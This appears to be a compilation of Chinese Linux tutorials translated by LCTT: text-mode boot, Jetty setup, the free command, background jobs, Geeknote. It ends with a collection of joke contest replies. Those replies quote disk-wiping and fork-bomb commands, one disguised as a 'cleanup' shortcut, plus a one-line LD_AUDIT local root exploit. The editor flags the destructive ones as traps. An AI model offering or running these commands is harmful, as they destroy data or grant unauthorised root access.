2015年1月

提问:我运行的是Ubuntu桌面,但是我希望启动后临时进入命令行。有什么简便的方法可以启动进入终端?

Linux桌面自带了一个显示管理器(比如:GDM、KDM、LightDM),它们可以让计算机启动自动进入一个基于GUI的登录环境。然而,如果你要直接启动进入终端怎么办? 比如,你在排查桌面相关的问题或者想要运行一个不需要GUI的应用程序。

注意虽然你可以通过按下Ctrl+Alt+F1到F6临时从桌面GUI切换到虚拟终端。然而,在这种情况下你的桌面GUI仍在后台运行,这不同于纯文本模式启动。

在Ubuntu或者Debian桌面中,你可以通过传递合适的内核参数在启动时启动文本模式。

启动临时进入命令行

如果你想要禁止桌面GUI并临时进入一次文本模式,你可以使用GRUB菜单。

首先,打开你的电脑。当你看到初始的GRUB菜单时,按下‘e’。

接着会进入下一屏,这里你可以修改内核启动选项。向下滚动到以“linux”开始的行,这里就是内核参数的列表。删除参数列表中的“quiet”和“splash”。在参数列表中添加“text”。

升级的内核选项列表看上去像这样。按下Ctrl+x继续启动。这会以详细模式启动控制台一次(LCTT译注:由于没有保存修改,所以下次重启还会进入 GUI)。

永久启动进入命令行

如果你想要永久启动进入命令行,你需要更新定义了内核启动参数GRUB设置

在文本编辑器中打开默认的GRUB配置文件。

$ sudo vi /etc/default/grub 

查找以GRUB\_CMDLINE\_LINUX\_DEFAULT开头的行,并用“#”注释这行。这会禁止初始屏幕,而启动详细模式(也就是说显示详细的的启动过程)。

更改GRUBCMDLINELINUX="" 成:

GRUB_CMDLINE_LINUX="text"

接下来取消“#GRUB\_TERMINAL=console”的注释。

更新后的GRUB配置看上去像下面这样。

最后,使用update-grub命令来基于这些更改重新生成/boot下的GRUB2配置文件。

$ sudo update-grub 

这时,你的桌面应该可以从GUI启动切换到控制台启动了。可以通过重启验证。


via: http://ask.xmodulo.com/boot-into-command-line-ubuntu-debian.html

译者:geekpi 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

Jetty提供了一个Web服务器和javax.servlet容器,为SPDY、WebSocket、OSGi、JMX、JNDI、JAAS以及许多其它集成套件添加了支持。这些组件都是开源的,也可用于商业用途和分发。

Jetty被广泛用于多种项目和产品,都可以在开发环境和生产环境中使用。Jetty可以很容易地嵌入到设备、工具、框架、应用服务器以及集群中。更多用途可参见Jetty网页。

Jetty特性

  • 全功能并基于标准
  • 开源与商用两可
  • 灵活和可扩展
  • 小足迹
  • 可嵌入
  • 异步支持
  • 企业弹性扩展
  • Apache和Eclipse双重许可证

ubuntu 14.10 server上安装Jetty 9

先决条件

在安装Jetty服务器前,您需要通过以下命令安装Java

sudo apt-get install openjdk-8-jdk

Java将会安装到/usr/lib/jvm/java-8-openjdk-i386,同时在该目录下会创建一个名为java-8-openjdk-i386的符号链接,在/usr/bin/java下也会相应创建符号链接。

现在你需要从这里下载Jetty9,在下载完成后,你需要使用以下命令来解压缩

$tar -xvf jetty-distribution-9.2.5.v20141112.tar.gz

该操作会将它解压到jetty-distribution-9.2.5.v20141112,而你需要使用以下命令将归档文件移动到/opt/jetty

$mv jetty-distribution-9.2.5.v20141112 /opt/jetty

你需要创建jetty用户,并将其设置成/opt/jetty目录的属主

sudo useradd jetty -U -s /bin/false
sudo chown -R jetty:jetty /opt/jetty

使用以下命令拷贝Jetty脚本到启动目录,以便让它作为一个服务来运行

$ cp /opt/jetty/bin/jetty.sh /etc/init.d/jetty

现在,你需要使用以下内容来创建Jetty设置文件

sudo vi /etc/default/jetty

添加以下行

JAVA_HOME=/usr/bin/java
JETTY_HOME=/opt/jetty
NO_START=0
JETTY_ARGS=jetty.port=8085
JETTY_HOST=0.0.0.0
JETTY_USER=jetty 

保存并退出该文件

你需要使用以下命令来启动Jetty服务

sudo service jetty start

你应该看到和下面类似的输出

Starting Jetty: OK Mon Nov 24 11:55:48 GMT 2014

如果你看到了下面的错误

** ERROR: JETTY\_HOME not set, you need to set it or install in a standard location

你需要确保在/etc/default/jetty文件中设置了正确的Jetty家目录路径,你可以使用以下URL来测试jetty。

Jetty现在应该运行在8085端口,打开浏览器并访问http://服务器IP:8085,你应该可以看到Jetty屏幕。

Jetty服务检查

使用以下命令来验证并检查配置

sudo service jetty check

使用以下命令来让Jetty开重启后自动启动

sudo update-rc.d jetty defaults

重启服务器并测试Jetty是否自动启动。

要检查Jetty运行在哪个端口上,或者该端口是否与其它程序冲突,可以运行netstat -tln


via: http://www.ubuntugeek.com/install-jetty-9-java-servlet-engine-and-webserver-on-ubuntu-14-10-server.html

作者:ruchi 译者:GOLinux 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

Linux是最有名的开源操作系统之一,它拥有着极其巨大的命令集。确定物理内存交换内存所有可用空间的最重要、也是唯一的方法是使用“free”命令。

Linux “free”命令可以给出类Linux/Unix操作系统中物理内存交换内存的总使用量、可用量及内核使用的缓冲区情况。

10 Linux Free Command Examples

这篇文章提供一些各种参数选项的“free”命令,这些命令对于你更好地利用你的内存会有帮助。

1. 显示你的系统内存

free命令用于检测物理内存交换内存已使用量和可用量(默认单位为KB)。下面演示命令的使用情况。

# free

             total       used       free     shared    buffers     cached
Mem:       1021628     912548     109080          0     120368     655548
-/+ buffers/cache:     136632     884996
Swap:      4194296          0    4194296

2. 以字节为单位显示内存

加上-b参数的free命令,以字节为单位显示内存的大小。

# free -b

             total       used       free     shared    buffers     cached
Mem:    1046147072  934420480  111726592          0  123256832  671281152
-/+ buffers/cache:  139882496  906264576
Swap:   4294959104          0 4294959104

3. 以千字节为单位显示内存

加上-k参数的free命令(默认单位,所以可以不用使用它),以(KB)千字节为单位显示内存大小。

# free -k

             total       used       free     shared    buffers     cached
Mem:       1021628     912520     109108          0     120368     655548
-/+ buffers/cache:     136604     885024
Swap:      4194296          0    4194296

4. 以兆字节为单位显示内存

想以(兆字节)显示内存大小,使用-m参数。

# free -m

             total       used       free     shared    buffers     cached
Mem:           997        891        106          0        117        640
-/+ buffers/cache:        133        864
Swap:         4095          0       4095

5. 以千兆字节为单位显示内存

使用-g为参数,将会以GB(千兆字节)为单位显示内存大小。

# free -g
             total       used       free     shared    buffers     cached
Mem:             0          0          0          0          0          0
-/+ buffers/cache:          0          0
Swap:            3          0          3

6. 显示总计行

加上-t选项,将会在屏幕最后列出总计一行。

# free -t

             total       used       free     shared    buffers     cached
Mem:       1021628     912520     109108          0     120368     655548
-/+ buffers/cache:     136604     885024
Swap:      4194296          0    4194296
Total: 5215924 912520 4303404

7. 关闭显示缓冲区调整一行

默认情况下,free命令是显示“缓冲区调整”一行的,为了关闭显示,可以加上-o参数。

# free -o                                                              

             total       used       free     shared    buffers     cached                                                                          
Mem:       1021628     912520     109108          0     120368     655548                                                                         
Swap:      4194296          0    4194296                               

8. 定期时间间隔更新内存状态

-s选项加上一个整数,用来在定期时间间隔内更新free命令。举个例子,下面的命令将会在每5秒更新一个free命令。

# free -s 5

             total       used       free     shared    buffers     cached
Mem:       1021628     912368     109260          0     120368     655548
-/+ buffers/cache:     136452     885176
Swap:      4194296          0    4194296

9. 显示底和高内存统计信息

-l选项显示了具体的高和低内存的使用统计情况。

# free -l

             total       used       free     shared    buffers     cached
Mem:       1021628     912368     109260          0     120368     655548
Low:        890036     789064     100972
High:       131592     123304       8288
-/+ buffers/cache:     136452     885176
Swap:      4194296          0    4194296

10. 检查free命令版本

-V选项,显示free命令版本信息。

# free -V

procps version 3.2.8

via: http://www.tecmint.com/check-memory-usage-in-linux/

作者:Ravi Saive 译者:su-kaiyao 校对:wxy

本文由 LCTT 原创翻译,Linux中> 国 荣誉推出

Linux Terminal Window.

Linux终端窗口

这是一个简短但是非常有用的教程:它向你展示从终端运行Linux应用程序的同时,如何保证终端仍然可以操作。

在Linux中有许多方式可以打开一个终端,这主要取决于你的发行版的选择和桌面环境。

使用Ubuntu的话,你可以使用CTRL + ALT + T组合键打开一个终端。你也可以点击超级键(Windows键)打开一个终端窗口。在键盘上,打开Ubuntu Dash,然后搜索"TERM"。点击"Term"图标将会打开一个终端窗口。

其他诸如XFCE, KDE, LXDE, Cinnamon和MATE的桌面环境,你将会在菜单中发现“终端”这个应用。还有一些发行版会把终端图标放在菜单项,或者在面板上放置终端启动器。

你可以在终端里面输入一个程序的名字来启动一个应用。举例,你可以通过输入"firefox"启动火狐浏览器。

从终端运行程序的好处是可以使用额外的选项。

举个例子,如果你输入下面的命令,一个新的火狐浏览器将会打开,而且默认的搜索引擎将会搜索引号之间的词语:

firefox -search "Linux.About.Com"

你会发现,如果你运行火狐浏览器,应用程序打开后,控制权将会回到终端(重新出现了命令提示符),这将意味着你可以继续在终端工作。

通常情况下,如果你通过终端运行一个程序,程序打开后,并且直到那个程序关闭结束,你都将不会获得终端的控制权。这是因为你是在前台打开程序的。

想要从终端运行一个程序,并且立即将终端的控制权返回给你,你需要以后台进程的方式打开程序。

为了以后台进程的方式打开一个程序,只需要添加符号(&)到命令中,如下面所示:

libreoffice &

在终端中仅仅提供程序的名字,应用程序可能运行不了。如果程序不存在于一个设置在PATH 环境变量的文件夹中,你需要指定完整的路径名来运行程序。

/path/to/yourprogram &

如果你并不确定一个程序是否存在于Linux文件系统中,使用find或者locate命令来查找该应用程序。

找一个文件的语法如下:

find /path/to/start/from -name programname

举个例子,可以使用下面的命令寻找Firefox的位置:

find / -name firefox

输出会很快滚动出很多,所以你可以以管道的方式控制输出的多少:

find / -name firefox | more
find / -name firefox | less

find命令将会返回因权限拒绝而发生错误的文件夹数量,这些文件夹你没有权限去搜索。

你可以使用sudo命令提升你的权限。如果sudo没有安装,你需要切换到拥有权限的用户:

sudo find / -name firefox | more

如果你知道你想寻找的文件在你的当前文件夹中,你可以一个点代替先前的斜线,如下:

sudo find . -name firefox | more

你可能不需要sudo来提升权限。如果你在home文件夹中寻找文件,sudo就不需要。

一些应用程序需要提升用户权限来运行,你可能得到一个缺少权限的错误,除非你使用一个具有足够权限的用户,或者使用sudo提升你的权限。

下面是一个小花招。如果你运行一个程序,而且它需要提升权限来运行,输入下面命令来提升权限重新执行:

sudo !!

via: http://linux.about.com/od/commands/fl/How-To-Run-Linux-Programs-From-The-Terminal-In-Background-Mode.htm

作者:Gary Newell 译者:su-kaiyao 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

这周让我们继续学习如何使用Linux命令行管理和组织信息。在命令行中管理你的个人花费后,我建议你在命令行中管理你的笔记,特别是当你用Evernote记录笔记时。要是你从来没有听说过它,Evernote 专门有一个用户友好的在线服务可以在不同的设备间同步笔记。除了提供花哨的基于Web的API,Evernote还发布了在Windows、Mac、Android和iOS上的客户端。然而至今还没有官方的Linux客户端可用。老实说在众多的非官方Linux客户端中,有一个程序一出现就吸引了所有的命令行爱好者,它就是Geeknote

Geeknote 的安装

Geeknote是使用Python开发的。因此,在开始之前请确保你已经安装了Python(最好是2.7的版本)和git。

在 Debian、 Ubuntu 和 Linux Mint 中

$ sudo apt-get install python2.7 git python-setuptools
$ git clone git://github.com/VitaliyRodnenko/geeknote.git
$ cd geeknote
$ sudo python2.7 setup.py install 

在 Fedora 或者 CentOS/RHEL 中

$ sudo yum install git
$ git clone git://github.com/VitaliyRodnenko/geeknote.git
$ cd geeknote
$ sudo python setup.py install 

在 Arch Linux 中

对于ArchLinux用户,只需要使用AUR中的包。

Geeknote 的基本使用

一旦你安装完Geeknote后,你应该将Geeknote与你的Evernote账号关联:

$ geeknote login 

接着输入你的email地址、密码和你的二步验证码。如果你没有后者的话,忽略它并按下回车。

显然你需要一个Evernote账号来完成这些,因此先去注册吧。

完成这些之后,你就可以开始创建新的笔记并编辑它们了。

不过首先,你还需要设置你最喜欢的文本编辑器:

$ geeknote settings --editor vim 

然后,一般创建一条新笔记的语法是:

$ geeknote create --title [title of the new note] (--content [content] --tags [comma-separated tags] --notebook [comma-separated notebooks]) 

上面的命令中,只有‘title’是必须的,它会与一条新笔记的标题相关联。其他的标注可以为笔记添加额外的元数据:添加标签来与你的笔记关联、指定放在那个笔记本里。同样,如果你的标题或者内容中有空格,不要忘记将它们放在引号中。

比如:

$ geeknote create --title "My note" --content "This is a test note" --tags "finance, business, important" --notebook "Family" 

然后,你可以编辑你的笔记。语法很相似:

$ geeknote edit --note [title of the note to edit] (--title [new title] --tags [new tags] --notebook [new notebooks]) 

注意可选的参数如新的标题、标签和笔记本,用来修改笔记的元数据。你也可以用下面的命令重命名笔记:

$ geeknote edit --note [old title] --title [new title] 

现在基本的创建和编辑已经完成了,更高级的特性是搜索和删除。你可以下面的语法搜索你的笔记:

$ geeknote find --search [text-to-search] --tags [comma-separated tags] --notebook [comma-separated notebooks] --date [date-or-date-range] --content-search 

默认地上面的命令会通过标题搜索笔记。 用"--content-search"选项,就可以按内容搜索。

比如:

$ geeknote find --search "*restaurant" --notebooks "Family" --date 31.03.2014-31.08.2014 

显示指定标题的笔记:

$ geeknote show [title] 

我最喜欢使用的一个技巧是使用:

$ geeknote show "*" 

这会显示所有的笔记并允许你在这中选择一个。

删除一条笔记:

$ geeknote remove --note [title] 

小心这是真正的删除。它会从云存储中删除这条笔记。

最后有很多的选项来管理标签和笔记本。我想最有用的就是显示笔记本列表。

$ geeknote notebook-list 

下面的命令非常相像。你可以猜到,可以用下面的命令列出所有的标签:

$ geeknote tag-list 

创建一个笔记本:

$ geeknote notebook-create --title [notebook title] 

创建一个标签:

$ geeknote tag-create --title [tag title] 

一旦你了解了窍门,很明显这些语法是非常自然明确的。

如果你想要了解更多,不要忘记查看官方文档

福利

作为福利,Geeknote自带的gnsync工具可以让你在Evernote和本地计算机之间同步。不过,我发现它的语法有点枯燥:

$ gnsync --path [where to sync] (--mask [what kind of file to sync] --format [in which format] --logpath [where to write the log] --notebook [which notebook to use]) 

下面是这些参数的意义。

  • --path /home/adrien/Documents/notes/: 与Evernote同步笔记的位置。
  • --mask "*.txt": 只同步纯文本文件。默认gnsync会尝试同步所有文件。
  • --format markdown: 你希望它们是纯文本或者markdown格式(默认是纯文本)。
  • --logpath /home/adrien/gnsync.log: 同步日志的位置。为防出错,gnsync会在那里写入日志信息。
  • --notebook "Family": 同步哪个笔记本中的笔记。如果留空,程序会创建一个以你同步文件夹命令的笔记本。

总的来说,Geeknote是一款漂亮的Evernote的命令行客户端。我个人不常使用Evernote,但它仍然很漂亮和有用。命令行一方面让它变得很极客且很容易与shell脚本结合。此外,在Git上还有Geeknote的一个分支项目,在ArchLinux AUR上称为geeknote-improved-git,貌似它有更多的特性和比其他分支更积极的开发。我觉得值得去看看。

你认为Geeknote怎么样? 有什么你想用的么?或者你更喜欢使用传统的程序?在评论区中让我们知道。


via: http://xmodulo.com/evernote-command-line-linux.html

作者:Adrien Brochard 译者:geekpi 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

上周,@Linux中国@图灵教育 发起了一个活动:“一句话证明你懂linux”,引来了网友的踊跃参加。网友的智慧是无穷的,我们将其中的一些有趣的回答撷取出来分享给大家。

这里有秀命令的,果然不出所料,“rm -rf /”和 shell 炸弹是一定会出现的:

  • @doublemark:cd mkdir rm 小白也能证明!
  • @joeren1981:cat /etc/passwd | cut -d ':' -f 1 >>/root/userlist
  • @love\_daisy\_love:mkdir ~/tmp; sudo fdisk -l | grep ^/dev | grep -v swap | awk '{print $1}' | xargs -i sh -c "sudo mount {} ~/tmp; sudo rm -rf ~/tmp/Windows; sudo umount tmp"
  • @进击的Manu\_coder:echo "tvir zr gurfr obbxf, gunax lbh" | tr [n-za-m] [a-z]
  • @赍思潜行::w !sudo tee % 偷凤转龙的vi命令
  • @Seamile:for i in $'\111' $'\114\157\166\145' $'\114\151\156\165\170';do c=$((($RANDOM)%6+31));printf '\033[0;%sm%s \033[0m' $c $i;done
  • @M\_四月天:ruby -e 'require "date"; puts DateTime.now.cweek' 你们知道今天是第几周么?[嘻嘻]
  • @灰色的小翅膀飞啊飞:mkdir /tmp/exploit ln /bin/ping /tmp/exploit/target exec 999< /tmp/exploit/target rm -rf /tmp/exploit/ echo 'void \_\_attribute\_\_((constructor)) init(){setuid(0);system('/bin/bash');}' | gcc -w -fPIC -shared -o /tmp/exploit -xc - LD\_AUDIT='$ORIGIN' ~~~got r00t...
  • @hunterwan:kexec -l /mnt/$DEV/boot/uImage --append="console=ttyS0,38400 earlyprintk=ttyS0 root=/dev/ram0 rw initrc=myrc" --ramdisk=/mnt/$DEV/myramdisk.gz

也有炫知识的,我只能说,炫的好!

  • @norvid:usr目录不是用户目录,而是 Unix System Resource。[嘻嘻]
  • @kunis:用vim编写Linux C程序,并用Makefile构建它们,最后在Linux Shell上执行它们,Linux 就是这个范儿。
  • @鱿蚊菟鸶:[喵喵] 被企鹅咬过的那个人说过,专利纠纷是开放源代码最大威胁。
  • @一生中最爱6666:一切都是文件,每个软件都有特定的用途。
  • @OoO牛奶咖啡:echo 3 > /proc/sys/vm/drop\_caches
  • @chunk9:你知道吗?ls还有个–Z选项,那一天我打开了新世界的大门…
  • @CodeMu:即使是删空目录,我也不用rmdir
  • @吹尽狂沙的地盘: 把书给我吧,这个真没法fork()一个出来!要不给我ln一个也行?
  • @mirage\_hl:init是所有进程的爹[哈哈]
  • @木木月yjq: “老公我想买个包包”,“老婆家里已经有很多了”,“我就要这个,sudo 买”,“好的,老大”。
  • @骑车去首都:我得用less来看这本书啊@图灵教育 ,不太喜欢用more
  • @爱开源魅影:我用grep在右面整理成的文章里找我的名字
  • @ToB蓝波湾:每次关闭文件之前,我都习惯性的按一下ESC
  • @mengalong:当年就知道a.out
  • @比尔盖子V:新版内核已经没有讨厌的 BKL 了

他们说的你也知道么?

当然,还有挖坑的,哈哈——太坏了——大家可别上当:

  • @kosmos可视模式:rm -rf / --no-preserve-root [doge]
  • @葱花酱:dd if=/iso/file/url of=/dev/sda [泪]手误了[泪]
    而 @Junnplus 就善良多了:sudo dd if=/dev/sda1 of=/dev/null
  • @orz卑鄙的我:发现个快捷方式,mksf.ext3 /dev/sda ,可以清除系统垃圾
  • @zlidentify::(){ :|:& };:[xkl转圈]
    放炸弹的也不止一个
  • @爱说小品的方格买提:mv /home /dev/null
  • @天舞飞星:dd if=/dev/sr0 of=~/centos7.iso
  • @eve\_ouyang:# dd if=/dev/zero of=/dev/sd{a..z} //忘记过去
  • @New\_RoRer:sudo rm -rf /一条无比强大的命令,谁用谁知道~

上面这些都是坏银,大家可不要相信他们的命令~

跟小编套磁的,话说,小编该怎么办?

  • @跳跳潮妈:Linux是个内核支持小编好活动,如有幸中奖会认真晒奖,积极支持小编工作,协助小编宣传扩散,支持你们!!
  • @从春光:开源万岁,学习第一,求求你给我个机会。。。。。。。。。给力[给力]
  • @嗨\_请叫我李小姐:送我送我,正在准备RHCE,作为妹子一枚学linux得鼓励一下是不是?

有些人则觉得求人不如求己,自己动手,丰衣足食:

  • @于鸿儒:sudo ./configure --prefix=/post/to/my/home --version=Linux就是这个范
  • @Jason\_YJS:echo "Just For Fun" if [ 转发人 -eq 我 ] then 送我《Linux程序设计》 fi
  • @一堆好人卡:./configure --winner=me && make && sudo make install
  • @higrase:scp $USER@${Linux中国}:$BOOKPATH/Linux就是这个范儿
  • @ranyxie:不要怪我太贪心:chown -R 我:我 /Linux中国
  • @s7eph4ni3:#echo "中奖"
  • @alexle85:sudo apt-get "Linux shell 脚本编程入门"

当然,吐槽的一定是最有趣的:

  • @蓝水军梦:新的MacBookAir电源键换位置了,估计大批Vimer会气死[偷乐]
    不懂这条的,请结合下条看
  • @ToB蓝波湾:每次关闭文件之前,我都习惯性的按一下ESC
  • @happy的沉思者:Read the fucking source code.这就是Linux的精髓,linus原话。
  • @DarkParadises:A:Shift+F3好方便哦.....B:逗比,打个汉子给我看。A:...
  • @alive欣:NTFS是整理控,时不时碎片整理一下最好,EXT4自以为很聪明,碎片还是有的。
  • @薄荷开源网: kde是华丽的,gnome是激进的
  • @小小泛泛:一个企鹅为什么有这么多名字啊[怒]
  • @隆隆小宝马:微软面试官问:你是怎么知道微软的? 答曰:在Linux社区看到的。
  • @两块钱的马赛克:dd if=/dev/zero of =/dev/sda,我愿为你格式化自己
  • @hop\_ping:Linux是用来玩的
  • @xu3stones:elf,后缀名是神马?
  • @呦呦斋:一看评论果然有写rm -rf /*的。
    小编也心有戚戚焉
  • @大米虫Gone:我们是男人,我们要坚挺强硬。----BadGuy
  • @宋万伟\_song:自从有了大便,腰不酸了,腿不疼了,上楼也不费劲了[嘻嘻]
  • @Edmund\_Dantes:sudo chmod 777 /* 嘻嘻,话说我不止一次这么干过,linux完整良好的权限管理在当初刚开始学习时觉得无比麻烦,现在觉得自己那时候好傻逼[挖鼻屎]

还有来说幽默笑话的:

  • @小晨主:给我一张过去的cd
  • @Jeremy-n\_n-:记不住命令找man[doge]
  • @revolver\_徐:给我吧,我家连窗户都没有。
    这条得到了大家一致的“最右”
  • @XING\_Lei:刚刚还在和一个叫Linus Torvalds 的男人(man)聊天...
  • @炎雪雨:bash对make说:“叫gcc来将hello.c翻译下,我不懂”
  • @刹时\_恍惚:mount未来,. umount过去!!
  • @风x铃:老师:那同学请你把本班的男同学和女同学按性质不同分个类~~那同学:好的,老师!$ ls -lha~(老师~拉恨啊!)~然后这同学直接走向讲台说一了句:男女配对现在开始~

这些任性的,真的好吗?

  • @长弓之健:从来都是在终端里看片~@Linux中国
  • @Yoetsu杨小悦:一切皆文件 不要书 不关注 任性笑cry
  • @TinyOS开发者-ytc:谢谢,这些书都不需要了,还是shutdown -h now吧[拜拜]
  • @李庆年:如何正确的吵架,vi是世界上最好的编辑器。喵喵[喵喵]
  • @2gua:Mint大法好!
  • @如若仅此:《linux就这个范儿》 这本书我有了,可以考虑其它三本,谢谢合作!
  • @Silly\_Hater:Linux so cool 。开源推动了它的发展。服务器是Linux的天下。而Linux是我的天下

居然还发现了老朋友?哈哈哈,居然还有这么多认识我 wxy 的啊——你说我是照顾呢,还是不照顾啊:>:

  • @南非蜘蛛:和wxy一起混过chinaunix论坛
  • @刘诗蓓:和wxy的把反垃圾邮件联盟环境迁移到我们这里
  • @李永庆520:和wxy一起混过chinaunix论坛

跟着这些“老”朋友的,一些资深人士们也跑出来凑热闹了,话说你们这些老人们够了~~

  • @許德華Mr:从事开源N年!!
  • @陆文举:Linuxtone论坛元老,51CTO早期博主 [笑cry]
  • @davistar:04年以前eden的版主,我应该是最早玩gentoo那拨人吧
  • @贤才飞也:混Chinaunix论坛好多年,看Linuxeden好多年的飘过

居然还有做广告的——广告就不列了——直接举报

最后,这里列出的油菜人太多了,可不能人人都中奖,不过中奖的肯定是其中之四(随机抽取哦),等待一会儿我们的小编揭晓吧。